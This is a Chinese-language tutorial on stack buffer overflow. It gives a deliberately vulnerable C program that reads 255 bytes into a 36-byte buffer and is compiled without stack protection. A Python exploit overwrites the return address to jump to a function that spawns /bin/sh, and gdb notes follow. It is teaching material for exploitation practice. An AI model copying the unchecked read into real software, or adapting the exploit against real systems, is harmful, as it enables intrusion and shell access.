簡(jiǎn)介 :
棧溢出是由于C語(yǔ)言系列沒有內(nèi)置檢查機(jī)制來(lái)確保復(fù)制到緩沖區(qū)的數(shù)據(jù)不得大于緩沖區(qū)的大小,因此當(dāng)這個(gè)數(shù)據(jù)足夠大的時(shí)候,將會(huì)溢出緩沖區(qū)的范圍。當(dāng)溢出緩沖區(qū)之后 , 如果繼續(xù)寫入數(shù)據(jù)就有可能將內(nèi)存中的重要數(shù)據(jù)覆蓋 , 對(duì)程序甚至系統(tǒng)造成嚴(yán)重的影響 。駭客也會(huì)利用棧溢出來(lái)進(jìn)行權(quán)限的提升等等非法操作
環(huán)境 :
1. ubuntu 16.04 64位
2. gcc 4.85
視頻演示 :
代碼 :
hello.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// 棧溢出后執(zhí)行的函數(shù)
void bingo(){
system("/bin/sh"); // 調(diào)用 system 函數(shù)啟動(dòng) /bin/sh 來(lái)獲取 shell
}
int main(){
char buffer[36] = {0}; // 定義 36 個(gè)字符(字節(jié))長(zhǎng)度的字符數(shù)組 , 并全部初始化為 0
puts("Tell my why : ");
/* 溢出漏洞產(chǎn)生的原因就是因?yàn)?read 函數(shù)并沒有對(duì) buffer 數(shù)組的范圍進(jìn)行檢查
* 如果我們向標(biāo)準(zhǔn)輸入流中輸入了超出 buffer 范圍 (36個(gè)字節(jié)) 的數(shù)據(jù) , 那么寫操作并不會(huì)停止 , 而是會(huì)繼續(xù)向內(nèi)存中寫入數(shù)據(jù) , 而這些數(shù)據(jù)就是由我們控制的
* 我們知道 , buffer 數(shù)組是保存在內(nèi)存中的棧段中的 , 而 main 函數(shù)的返回地址也是保存在棧段中的
* 因此 , 我們只需要控制寫入的數(shù)據(jù) , 將 main 函數(shù)的返回地址覆蓋
* 這樣 , 在主函數(shù)執(zhí)行結(jié)束后 , 會(huì) pop 棧中保存的主函數(shù)的返回地址 (事實(shí)上已經(jīng)被我們寫入的數(shù)據(jù)覆蓋) 到 eip 寄存器中
* cpu 就會(huì)不會(huì)認(rèn)為程序已經(jīng)結(jié)束 , 而是繼續(xù)根據(jù) eip 寄存器指向的內(nèi)存取指令執(zhí)行 , 這樣我們就達(dá)到了可以任意控制程序流程的目的
* 因此 , 我們?yōu)榱四塬@取一個(gè) shell , 我們需要將主函數(shù)的返回地址覆蓋為 bingo 函數(shù)的地址
* 然后程序繼續(xù)執(zhí)行之后遇到 return 0 就會(huì)直接跳轉(zhuǎn)到 bingo 函數(shù) , 從而運(yùn)行 /bin/sh , 我們就可以得到目標(biāo)主機(jī)的 shell
* 由于時(shí)間關(guān)系 , 這里所有的操作都在本機(jī)進(jìn)行 , 遠(yuǎn)程操作也是同樣的道理 , 因此不再贅述
*/
read(0, buffer, 0xFF); // 使用 read 函數(shù)將標(biāo)準(zhǔn)輸入流中的數(shù)據(jù)復(fù)制到 buffer 字符數(shù)組
printf("Good boy : %s\n", buffer); // 打印字符數(shù)組的長(zhǎng)度
return 0; // 主函數(shù)返回
}
Makefile
a.out:hello.c
gcc -g -fno-stack-protector hello.c
clean:
rm ./a.out
exploit.py
#!/usr/bin/env python
# encoding:utf-8
from zio import *
Io = zio("./a.out") # 打開本地文件
payload = (0x7fffffffdd88 - 0x7fffffffdd50) * 'A' # 首先將 buffer 和 main 返回地址之間的所有數(shù)據(jù)都填充成垃圾數(shù)據(jù) , 其實(shí)是為了能覆蓋到 main 的返回地址
payload = payload + l64(0x4005ed) # 將 main 的返回地址覆蓋為 bingo 的地址
# 這里的 l64 函數(shù)可以將一個(gè) 16 進(jìn)制數(shù)轉(zhuǎn)換為 64 位機(jī)的內(nèi)存地址
# 我們知道 64 位機(jī)的機(jī)器字長(zhǎng)為 8 字節(jié) , 因此就需要用 8 個(gè)字符來(lái)填充
# 16 位機(jī)的寄存器是 16 位數(shù)的 , 兩個(gè)字節(jié) , 64 位機(jī)相應(yīng)就是 8 字節(jié)
# 其實(shí) l64(0x4005ed) 函數(shù)就返回了這個(gè)字符串 :
# "\xed\x05\x40\x00\x00\x00\x00\x00"
# 也可以直接手動(dòng)寫成上述字符串
# 現(xiàn)在開始寫入數(shù)據(jù)
Io.write(payload)
# 寫入之后應(yīng)該執(zhí)行 bingo 函數(shù) 也就是啟動(dòng) /bin/sh
# 這個(gè)時(shí)候 , 我們就需要接管程序的輸入輸出
# 調(diào)用 interact() 這個(gè)函數(shù)來(lái)釋放腳本對(duì)程序的控制
Io.interact()
# 現(xiàn)在腳本就編寫完成了 , 測(cè)試一下吧
README.md
(gdb) 我們來(lái)整理一下這幾個(gè)數(shù)據(jù)Quit
(gdb) 1. bingo 地址 : 0x4005edQuit
(gdb) 1. 偏移 : (main返回地址 - buffer首地址) = (0x7fffffffdd88 - 0x7fffffffdd50Quit